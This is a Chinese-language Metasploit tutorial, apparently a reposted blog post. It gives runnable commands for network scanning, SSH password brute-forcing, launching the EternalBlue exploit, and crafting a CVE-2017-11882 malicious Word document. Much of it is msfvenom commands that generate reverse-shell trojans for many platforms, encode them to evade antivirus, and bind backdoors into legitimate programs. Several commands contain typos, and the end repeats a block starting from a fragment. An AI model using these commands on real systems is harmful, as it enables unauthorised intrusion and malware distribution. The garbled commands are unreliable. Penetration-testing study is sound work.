MSF使用教程

MSF使用教程

1.简介

​ Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

2.MSF模块介绍

1.辅助模块 auxiliary

负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能

2.渗透攻击模块exploits

利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

主动渗透攻击:发送网络数据,触发安全漏洞。比如web应用程序渗透攻击、SCADA工业控制系统服务渗透攻击等。

被动渗透攻击:浏览器软件漏洞攻击和文件格式漏洞攻击,引诱目标用户打开触发。

msfconsle中输入命令:

show exploits	#可以查看当前Metasploit支持的渗透攻击模块

3.攻击载荷模块(Payload)

目标系统被渗透攻击之后需要执行的代码。比如反弹式shell、bind shell等。

在msfconsole界面输入:

show payloads	#可以查看当前系统支持的payloads

4.空指令模块(Nops)

空指令是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令,对于x86 CPU就是0x90。

在msfconsole中输入:

show nops		#可以查看当前系统支持的空指令

5.编码器模块(Encoders)

功能1:确保攻击载荷中不会出现渗透攻击过程中应加以避免出现的“坏字符”

功能2:对攻击载荷进行“免杀”处理

在msfconsole界面输入:

show encoders	#可以查看当前系统支持的编码器

6.后渗透攻击模块(posts)

后渗透攻击模块,在受控系统中进行各种各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。

在msfconsole界面输入:

show post		#可以显示当前系统支持的后渗透攻击模块

7.免杀模块(evasion)

在msfconsole界面输入:

show evasion    #查看免杀模块

3.MSF常识

msf更新:

sudo apt-get update
sudo apt-get install metasploit-framework

启动msf报错:

sudo aqt-get install bundler
cd /usr/share/metasploit-framework
sudo bundle install

命令速查:

msfconsole 命令行启动MSF
exit 退出msf
use 使用某个模块
back 退出模块
info 查看模块的详细信息
set 模块选型设置
run 启动脚本
exploit 启动脚本
show options 查看脚本配置选项
show targets 显示适用的主机类型
show payloads 显示适用的payload类型
search 搜索关键字
background 将会话隐藏在后台
sessions 会话管理
session -i 根据ID管理会话

4.MSF信息收集

1.主机发现

use auxiliary/scanner/discovery/	这个路径下有7个脚本用来进行信息收集
0  auxiliary/scanner/discovery/arp_sweep                                            
1  auxiliary/scanner/discovery/empty_udp                                         
2  auxiliary/scanner/discovery/ipv6_multicast_ping                                 
3  auxiliary/scanner/discovery/ipv6_neighbor                                       
4  auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement                 
5  auxiliary/scanner/discovery/udp_probe                                         
6  auxiliary/scanner/discovery/udp_sweep         

以arp_sweep为例

use auxiliary/scanner/discovery/arp_sweep
show options
set RHOSTS 192.168.1.1/24
set threads 50				#设置线程数50
run

在这里插入图片描述

2.端口扫描

use auxiliary/scanner/portscan/*

一般情况下推荐使用syn端口扫描器,因为它扫描速度快,不容易被发现

use auxiliary/scanner/portscan/syn
show options
set RHOSTS 192.168.1.142
set PORTS 1-65535  		#全部扫描需要很长时间
set threads 50000				
run

3.探测服务详细信息

sudo nmap A -p- -sS sC -T4 -Pn 192.168.1.1

4.服务查点

在metasploit中scanner辅助模块中,有很多用于服务扫描和查点的工具,常以[service_name]_version[service_name]_login命名。

[service_name]_version可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login可对某种服务进行口令探测攻击

SSH服务扫描

search ssh_version
use 3
show options
set RHOSTS 192.168.1.1/24
set threads 50				#设置线程数50
run

在这里插入图片描述

Telnet服务扫描

search telnet_version
use auxiliary/scanner/telnet/telnet_version

其他服务查点

use auxiliary/scanner/oracle/tnslsnr_version       	#oracle服务扫描
use auxiliary/scanner/mssql/mssql_ping				#mssql扫描
use auxiliary/scanner/mysql/mysql_version			#mysql扫描
use auxiliary/scanner/ftp/ftp_version				#ftp扫描
use auxiliary/scanner/http/http_version				#http扫描

5.口令猜测

字典位置

/usr/share/wordlists			#kail中

字典也可以去百度下载然后放到kail上

口令爆破:SSH

search ssh_login
auxiliary/scanner/ssh/ssh_login
set RHOST 192.168.1.1
set USERname kail
set PASS_FILE /home/tools/wordLists/pass_top1000.txt		#路径为字典位置
run

其他服务口令猜解

use auxiliary/scanner/telnet/telnet_login
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/smb/smb_login

6.网站敏感目录扫描

注意此处需要提供一个目录字典(kail中有):

use auxiliary/scanner/http/dir_scanner
set RHOST 192.168.1.1
run

7.扫描内网中存在特定目录的主机

use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
host likely vulnerable to MS17-010			#表示主机存在这个漏洞,可以利用攻击。
host does not appear vulnerable				#主机不易受到攻击 / 不存在这个漏洞

5.主动渗透攻击

1.永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.1
exploit

2.Drupal CVE-2018-7600

search Drupal
......

6.被动渗透攻击

Office远程代码执行漏洞(CVE-2017-11882)

git clone http://github.com/starnightcyber/CVE-2017-11882.git

cd CVE-2017-11882

漏洞测试:

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 	#-c 嵌入命令

7.msfvenom

-l 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,…all
-p 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f 指定输出格式
-e 指定需要使用的encoder(编码器)编码免杀
-a 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-o 指定创建好的payload的存放位置
-b 设定规避字符集,指定需要过滤的坏字符。例如:不使用 ‘\x0f’、’\x00’
-n 为payload预先指定一个NOP滑动长度
-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小
-i 指定payload的编码次数
-c 指定一个附加的win32 shellcode文件
-x 指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面
-k 保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面
-v 指定一个自定义的变量,以确定输出格式
-t 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h 查看帮助选项
–platform 指定payload的目标平台

普通生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe

msfvenom –p windows/meterpreter/reverse_tcp –f exe –o /root/shell.exe

编码处理

msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikita_ga_nai lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe

捆绑

msfvenom -p windows/meterpreter/reverse_tcp -p latform windows -a x64 -x /root/baidunetdisk.exe -k lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe

Windows

msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp  lhost=192.168.1.10 port=4444 -f macho > shell.macho

Php

msfvenom -p php/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f raw

Asp

msfvenom -p windows/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f asp

Aspx

msfvenom -p windows/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f aspx

Jsp

msfvenom -p java/jsp_shell_reverse_tcp  lhost=192.168.1.10 port=4444 -f raw

Python

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw

Perl

msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.10 port=4444 -f raw

Bash

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.10 port=4444 -f bash

War

msfvenom -p windows/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f war

on

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw

Perl

msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.10 port=4444 -f raw

Bash

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.10 port=4444 -f bash

War

msfvenom -p windows/meterpreter/reverse_tcp  lhost=192.168.1.10 port=4444 -f war

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/123763862
msf